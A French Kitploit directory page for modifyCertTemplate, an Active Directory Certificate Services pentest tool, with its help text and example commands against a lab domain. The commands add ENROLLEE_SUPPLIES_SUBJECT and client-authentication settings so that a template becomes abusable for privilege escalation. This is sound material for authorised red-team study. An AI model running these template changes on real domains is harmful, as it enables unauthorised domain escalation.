Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
modifyCertTemplate — Modification de modèle de certificat ADCS et énumération des ACL | Kitploit
Outils/GitHubGitHub/fortalice/modifycerttemplate
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationAudit de ConfigurationTests d'IntrusionAuthentification
GitHubfortalice/modifycerttemplate

modifyCertTemplate

Modification de modèle de certificat ADCS et énumération des ACL

Voir le dépôt
14513il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Objectif

Cet outil est conçu pour aider un opérateur à modifier les modèles de certificats ADCS afin qu'un état vulnérable créé puisse être exploité pour une élévation de privilèges (puis réinitialiser le modèle à son état précédent par la suite). Il est spécifiquement conçu pour un scénario où les droits WriteProperty sur un modèle ont été compromis, mais l'opérateur ne sait pas à quelles propriétés ce droit s'applique. Dans ce scénario, l'ACL du modèle peut être interrogée et les informations ACE applicables peuvent être recoupées avec les GUID de propriété pour déterminer les propriétés modifiables.

Article de blog associé blog post sur l'outil et le sujet.

Utilisation

root@kitploit:~
usage: modifyCertTemplate.py [-h] -template template name [-property property name] [-value new value] [-get-acl] [-dn distinguished name] [-raw] [-add flag name] [-debug]
                             [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-ldaps]
                             target

Modify the attributes of an Active Directory certificate template

positional arguments:
  target                [[domain/]username[:password]

optional arguments:
  -h, --help            show this help message and exit
  -template template name
                        Name of the target certificate template
  -property property name
                        Name of the target template property
  -value new value      Value to set the specified template property to
  -get-acl              Print the certificate's ACEs
  -dn distinguished name
                        Explicitly set the distinguished name of the certificate template
  -raw                  Output the raw certificate template attributes
  -add flag name        Add a flag to an attribute, maintaining the existing flags
  -debug                Turn DEBUG output ON

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will
                        use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -ldaps                Use LDAPS instead of LDAP

Exemples

Interrogation d'un modèle ou d'une valeur de propriété

Interroger un modèle de certificat (tous les attributs)

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication ez.lab/administrator:pass

Interroger un seul attribut d'un modèle de certificat

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass

Interroger les valeurs brutes de tous les attributs du modèle

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -raw ez.lab/administrator:pass

Interrogation des informations ACL

Interroger l'ACL d'un modèle de certificat

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -get-acl ez.lab/administrator:pass

Bien que sans lien avec les modèles de certificats, l'ACL de n'importe quel objet peut être interrogée en fournissant son nom distinctif

root@kitploit:~
python3 modifyCertTemplate.py -dn "CN=ws1,CN=computers,DC=ez,DC=lab" -get-acl ez.lab/administrator:pass

Modification d'un modèle

Ajouter le drapeau ENROLLEE_SUPPLIES_SUBJECT à la propriété msPKI-Certificate-Name-Flag du modèle

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass 

Mettre à jour la valeur d'un attribut du modèle de certificat (propriétés non listées)

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag -value -150994944 ez.lab/administrator:pass

Ajouter une EKU à la propriété pKIExtendedKeyUsage

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -add "client authentication" -property pKIExtendedKeyUsage ez.lab/administrator:pass 

Mettre à jour la valeur d'un attribut au format liste (c.-à-d. définir explicitement la valeur de pKIExtendedKeyUsage)

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -value "'1.3.6.1.5.5.7.3.4', '1.3.6.1.5.5.7.3.2'" -property pKIExtendedKeyUsage ez.lab/administrator:pass 

Références, crédits et autres projets à découvrir !

  • PyWhisker
  • Certi
  • StandIn
Télécharger l’outil